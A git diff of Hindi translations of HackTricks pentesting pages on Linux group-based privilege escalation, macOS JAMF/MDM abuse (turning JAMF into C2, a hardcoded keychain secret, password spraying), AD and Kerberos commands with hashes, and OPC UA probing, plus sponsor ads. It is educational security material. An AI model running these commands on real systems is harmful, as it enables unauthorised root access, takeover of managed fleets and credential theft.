@ -119,6 +123,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -129,7 +137,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -13,6 +13,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
# Sudo/Admin Groups
@ -26,7 +32,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
यह मतलब है कि **कोई भी उपयोगकर्ता जो समूह sudo या admin का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**।
यह मतलब है कि **कोई भी उपयोगकर्ता जो sudo या admin समूह का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**।
यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**:
```text
@ -38,11 +44,11 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin में हैं, तो आप शायद pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें:
यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin के सदस्य हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
वहाँ आप पाएंगे कि कौन से समूह **pkexec** निष्पादित करने की अनुमति रखते हैं और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **sudo या admin** जैसे समूह **प्रकट** हो सकते हैं।
वहाँ आप पाएंगे कि कौन से समूह **pkexec** निष्पादित करने की अनुमति रखते हैं और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **sudo या admin** के कुछ समूह **प्रकट** हो सकते हैं।
**रूट बनने के लिए आप निष्पादित कर सकते हैं**:
```bash
@ -77,7 +83,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```text
%wheel ALL=(ALL:ALL) ALL
```
यह मतलब है कि **जो भी उपयोगकर्ता समूह व्हील का सदस्य है, वह कुछ भी sudo के रूप में निष्पादित कर सकता है**।
यह मतलब है कि **कोई भी उपयोगकर्ता जो समूह व्हील का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**।
यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**:
```text
@ -85,7 +91,7 @@ sudo su
```
# Shadow Group
**shadow** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
**शैडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@ -112,7 +118,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
# वीडियो समूह
`w` कमांड का उपयोग करके आप **जान सकते हैं कि कौन सिस्टम पर लॉग इन है** और यह निम्नलिखित आउटपुट दिखाएगा:
कमांड `w` का उपयोग करके आप **जान सकते हैं कि कौन सिस्टम पर लॉग इन है** और यह निम्नलिखित आउटपुट दिखाएगा:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -135,7 +141,7 @@ Then modify the Width and Height to the ones used on the screen and check differ
# Root Group
ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच प्राप्त कर सकते हैं, जिन्हें विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सकता है...
ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच प्राप्त कर सकते हैं जो विशेषाधिकार बढ़ाने के लिए उपयोग की जा सकती हैं...
**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**:
```bash
@ -143,7 +149,7 @@ find / -group root -perm -g=w 2>/dev/null
```
# Docker Group
आप होस्ट मशीन के रूट फाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है।
आप होस्ट मशीन के रूट फाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है।
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -153,17 +159,25 @@ find / -group root -perm -g=w 2>/dev/null
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,12 +15,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
## MDM का दुरुपयोग
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Abusing MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए **व्यवस्थापक क्रेडेंशियल्स से समझौता करने** में सफल होते हैं, तो आप मशीनों में अपने मैलवेयर को वितरित करके **सभी कंप्यूटरों से समझौता कर सकते हैं**
यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए **व्यवस्थापक क्रेडेंशियल्स से समझौता करने** में सफल होते हैं, तो आप **संभावित रूप से सभी कंप्यूटरों से समझौता कर सकते हैं** अपने मैलवेयर को मशीनों में वितरित करके
MacOS वातावरण में रेड टीमिंग के लिए MDMs के काम करने के तरीके की कुछ समझ होना अत्यधिक अनुशंसित है:
@ -28,43 +36,43 @@ MacOS वातावरण में रेड टीमिंग के लि
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
### C2 के रूप में MDM का उपयोग करना
### Using MDM as a C2
एक MDM के पास प्रोफाइल स्थापित करने, क्वेरी करने या हटाने, एप्लिकेशन स्थापित करने, स्थानीय व्यवस्थापक खाते बनाने, फर्मवेयर पासवर्ड सेट करने, FileVault कुंजी बदलने की अनुमति होगी...
एक MDM के पास प्रोफाइल स्थापित करने, क्वेरी करने या हटाने, अनुप्रयोग स्थापित करने, स्थानीय व्यवस्थापक खाते बनाने, फर्मवेयर पासवर्ड सेट करने, FileVault कुंजी बदलने की अनुमति होगी...
अपने स्वयं के MDM को चलाने के लिए आपको **अपने CSR को एक विक्रेता द्वारा हस्ताक्षरित** कराना होगा, जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) के साथ प्राप्त करने का प्रयास कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं।
अपने स्वयं के MDM को चलाने के लिए आपको **अपने CSR को एक विक्रेता द्वारा हस्ताक्षरित** कराना होगा जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) के साथ प्राप्त करने का प्रयास कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं।
हालांकि, एक नामांकित उपकरण में एप्लिकेशन स्थापित करने के लिए, आपको इसे एक डेवलपर खाते द्वारा हस्ताक्षरित करने की आवश्यकता है... हालाँकि, MDM नामांकन के दौरान **उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है**, इसलिए आप अब कुछ भी हस्ताक्षरित कर सकते हैं।
हालांकि, एक नामांकित उपकरण में एक अनुप्रयोग स्थापित करने के लिए, आपको अभी भी इसे एक डेवलपर खाते द्वारा हस्ताक्षरित करने की आवश्यकता है... हालाँकि, MDM नामांकन के दौरान **उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है**, इसलिए आप अब कुछ भी हस्ताक्षरित कर सकते हैं।
उपकरण को MDM में नामांकित करने के लिए, आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करना होगा, जिसे एक **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे ज़िप में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाएगा तो यह अनजिप हो जाएगा)।
MDM में उपकरण को नामांकित करने के लिए, आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करने की आवश्यकता है, जिसे एक **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे zip में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाता है तो यह अनसंकुचित हो जाएगा)।
**Mythic एजेंट Orthrus** इस तकनीक का उपयोग करता है।
**Mythic agent Orthrus** इस तकनीक का उपयोग करता है।
### JAMF PRO का दुरुपयोग
### Abusing JAMF PRO
JAMF **कस्टम स्क्रिप्ट** (सिस्टम प्रशासक द्वारा विकसित स्क्रिप्ट), **स्थानीय पेलोड** (स्थानीय खाता निर्माण, EFI पासवर्ड सेट करना, फ़ाइल/प्रक्रिया निगरानी...) और **MDM** (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है।
JAMF **कस्टम स्क्रिप्ट** (sysadmin द्वारा विकसित स्क्रिप्ट), **स्थानीय पेलोड** (स्थानीय खाता निर्माण, EFI पासवर्ड सेट करना, फ़ाइल/प्रक्रिया निगरानी...) और **MDM** (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है।
#### JAMF स्व-नामांकन
#### JAMF self-enrolment
ांचें कि क्या उनके पास **स्व-नामांकन सक्षम** है, इसके लिए `https://<company-name>.jamfcloud.com/enroll/` जैसे पृष्ठ पर जाएं। यदि उनके पास है, तो यह **पहुँचने के लिए क्रेडेंशियल्स** मांग सकता है।
ैसे पृष्ठ पर जाएं `https://<company-name>.jamfcloud.com/enroll/` यह देखने के लिए कि क्या उनके पास **स्वयं नामांकन सक्षम** है। यदि उनके पास है तो यह **पहुँच के लिए क्रेडेंशियल्स मांग सकता है**
आप पासवर्ड स्प्रेइंग हमले को करने के लिए स्क्रिप्ट [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) का उपयोग कर सकते हैं।
इसके अलावा, उचित क्रेडेंशियल्स खोजने के बाद, आप अगले फॉर्म के साथ अन्य उपयोगकर्ता नामों को ब्रूट-फोर्स करने में सक्षम हो सकते हैं:
इसके अलावा, उचित क्रेडेंशियल्स खोजने के बाद आप अगले फॉर्म के साथ अन्य उपयोगकर्ता नामों को ब्रूट-फोर्स करने में सक्षम हो सकते हैं:
![](<../../.gitbook/assets/image (107).png>)
#### JAMF उपकरण प्रमाणीकरण
#### JAMF device Authentication
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
**`jamf`** बाइनरी में कीचेन को खोलने का रहस्य था जो खोज के समय सभी के बीच **साझा** था और यह था: **`jk23ucnq91jfu9aj`**।\
इसके अलावा, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** में **LaunchDaemon** के रूप में **स्थायी** रहता है।
#### JAMF उपकरण अधिग्रहण
#### JAMF Device Takeover
**JSS** (Jamf सॉफ़्टवेयर सर्वर) **URL** जो **`jamf`** उपयोग करेगा, वह **`/Library/Preferences/com.jamfsoftware.jamf.plist`** में स्थित है।\
यह फ़ाइल मूल रूप से URL को समाहित करती है:
**JSS** (Jamf Software Server) **URL** जो **`jamf`** उपयोग करेगा वह **`/Library/Preferences/com.jamfsoftware.jamf.plist`** में स्थित है।\
यह फ़ाइल मूल रूप से URL को शामिल करती है:
{% code overflow="wrap" %}
```bash
@ -81,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
```
{% endcode %}
तो, एक हमलावर एक दुर्भावनापूर्ण पैकेज (`pkg`) छोड़ सकता है जो स्थापित होने पर **इस फ़ाइल को अधिलेखित करता है** और **URL को एक Mythic C2 श्रोता से Typhon एजेंट** के रूप में सेट करता है ताकि अब JAMF का दुरुपयोग C2 के रूप में किया जा सके।
तो, एक हमलावर एक दुर्भावनापूर्ण पैकेज (`pkg`) छोड़ सकता है जो स्थापित होने पर इस फ़ाइल को **ओवरराइट** करता है, **URL को एक Mythic C2 लिस्नर से Typhon एजेंट** के रूप में सेट करता है ताकि अब JAMF का दुरुपयोग C2 के रूप में किया जा सके।
{% code overflow="wrap" %}
```bash
@ -92,26 +100,26 @@ sudo jamf policy -id 0
```
{% endcode %}
#### JAMF धोखाधड़ी
#### JAMF Impersonation
एक डिवाइस और JMF के बीच **धोखाधड़ी करने के लिए** आपको आवश्यकता है:
**JMF के साथ एक डिवाइस और संचार का अनुकरण करने के लिए आपको आवश्यकता है:**
* डिवाइस का **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* **JAMF कीचेन**: `/Library/Application\ Support/Jamf/JAMF.keychain` जिसमें डिवाइस प्रमाणपत्र होता है
इस जानकारी के साथ, **एक VM बनाएं** जिसमें **चुराया गया** हार्डवेयर **UUID** हो और **SIP अक्षम** हो, **JAMF कीचेन** डालें, **जाम्फ एजेंट** को **हुक** करें और इसकी जानकारी चुराएं।
इस जानकारी के साथ, **चुराए गए** हार्डवेयर **UUID** के साथ एक **VM** बनाएं और **SIP अक्षम** करें, **JAMF कीचेन** डालें, **Jamf एजेंट** को **हुक** करें और इसकी जानकारी चुराएं।
#### रहस्यों की चोरी
#### Secrets stealing
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
आप `/Library/Application Support/Jamf/tmp/` स्थान की निगरानी भी कर सकते हैं जहाँ **कस्टम स्क्रिप्ट** हो सकती हैं जिन्हें व्यवस्थापक Jamf के माध्यम से निष्पादित करना चाहते हैं क्योंकि ये **यहा रखी जाती हैं, निष्पादित की जाती हैं और हटा दी जाती हैं**। ये स्क्रिप्ट **प्रमाण पत्र** हो सकते हैं।
आप `/Library/Application Support/Jamf/tmp/` पर **कस्टम स्क्रिप्ट्स** की निगरानी भी कर सकते हैं जिन्हें व्यवस्थापक Jamf के माध्यम से निष्पादित करना चाहते हैं क्योंकि ये **यहा रखी जाती हैं, निष्पादित की जाती हैं और हटा दी जाती हैं**। ये स्क्रिप्ट्स **प्रमाण पत्र** रख सकती हैं।
हालांकि, **प्रमाण पत्र** इन स्क्रिप्टों में **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` की निगरानी करने की आवश्यकता होगी (बिना रूट बने)।
हालांकि, **प्रमाण पत्र** इन स्क्रिप्ट्स में **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` की निगरानी करने की आवश्यकता होगी (बिना रूट बने)।
स्क्रिप्ट [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) नए फ़ाइलों को जोड़े जाने और नए प्रक्रिया तर्कों के लिए सुन सकती है।
### macOS दूरस्थ पहुंच
### macOS Remote Access
और **MacOS** "विशेष" **नेटवर्क** **प्रोटोकॉल** के बारे में:
@ -119,9 +127,9 @@ sudo jamf policy -id 0
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
{% endcontent-ref %}
## सक्रिय निर्देशिका
## Active Directory
कुछ अवसरों पर आप पाएंगे कि **MacOS कंप्यूटर एक AD से जुड़ा हुआ है**। इस परिदृश्य में, आपको सक्रिय निर्देशिका को **गणना** करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ **सहायता** प्राप्त करें:
कुछ अवसरों पर आप पाएंगे कि **MacOS कंप्यूटर एक AD से जुड़ा है**। इस परिदृश्य में, आपको सक्रिय निर्देशिका को **गणना** करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ **सहायता** खोजें:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -142,7 +150,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound एक Bloodhound ऑडिटिंग टूल का एक्सटेंशन है जो MacOS होस्ट पर Active Directory संबंधों को इकट्ठा करने और ग्रहण करने की अनुमति देता है।
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता के बिना मूल APIs का उपयोग करता है।
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य फ्रेमवर्क या पैकेज की आवश्यकता के बिना मूल APIs का उपयोग करता है।
* [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory एन्यूमरेशन करने के लिए Automation (JXA) टूल।
### Domain Information
@ -153,7 +161,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
MacOS उपयोगकर्ताओं के तीन प्रकार हैं:
* **स्थानीय उपयोगकर्ता** — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, े किसी भी तरह से Active Directory से जुड़े नहीं हैं।
* **स्थानीय उपयोगकर्ता** — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, े किसी भी तरह से Active Directory से जुड़े नहीं हैं।
* **नेटवर्क उपयोगकर्ता** — अस्थायी Active Directory उपयोगकर्ता जिन्हें प्रमाणीकरण के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है।
* **मोबाइल उपयोगकर्ता** — Active Directory उपयोगकर्ता जिनके पास उनके क्रेडेंशियल्स और फ़ाइलों का स्थानीय बैकअप होता है।
@ -162,9 +170,9 @@ MacOS उपयोगकर्ताओं के तीन प्रकार
HasSession और AdminTo किनारों का उपयोग करने के अलावा, **MacHound Bloodhound डेटाबेस में तीन नए किनारे जोड़ता है**:
* **CanSSH** - इकाई को होस्ट पर SSH करने की अनुमति है
* **CanVNC** - इकाई को होस्ट पर VNC करने की अनुमति है
* **CanAE** - इकाई को होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है
* **CanSSH** - इकाई जिसे होस्ट पर SSH करने की अनुमति है
* **CanVNC** - इकाई जिसे होस्ट पर VNC करने की अनुमति है
* **CanAE** - इकाई जिसे होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है
```bash
#User enumeration
dscl . ls /Users
@ -209,7 +217,7 @@ bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
### केर्बेरोस्टिंग
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
@ -247,6 +255,14 @@ MacOS रेड टीमिंग सामान्य Windows रेड ट
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क, और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -256,8 +272,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपजिटरी में PR सबमिट करें।
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपजिटरी में PR सबमिट करें।**
</details>
{% endhint %}

View file

@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
**OPC UA**, जिसका मतलब है **Open Platform Communications Unified Access**, विभिन्न उद्योगों जैसे निर्माण, ऊर्जा, एयरोस्पेस, और रक्षा में डेटा विनिमय और उपकरण नियंत्रण के लिए एक महत्वपूर्ण ओपन-सोर्स प्रोटोकॉल है। यह विभिन्न विक्रेताओं के उपकरणों को संवाद करने में सक्षम बनाता है, विशेष रूप से PLCs के साथ।
@ -38,7 +46,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
जिस डिवाइस तक आपकी पहुँच है, उसका संकेत पाने के लिए, पते की जगह में "ServerStatus" नोड मानों को पढ़ें और उपयोग मैनुअल के लिए गूगल करें।
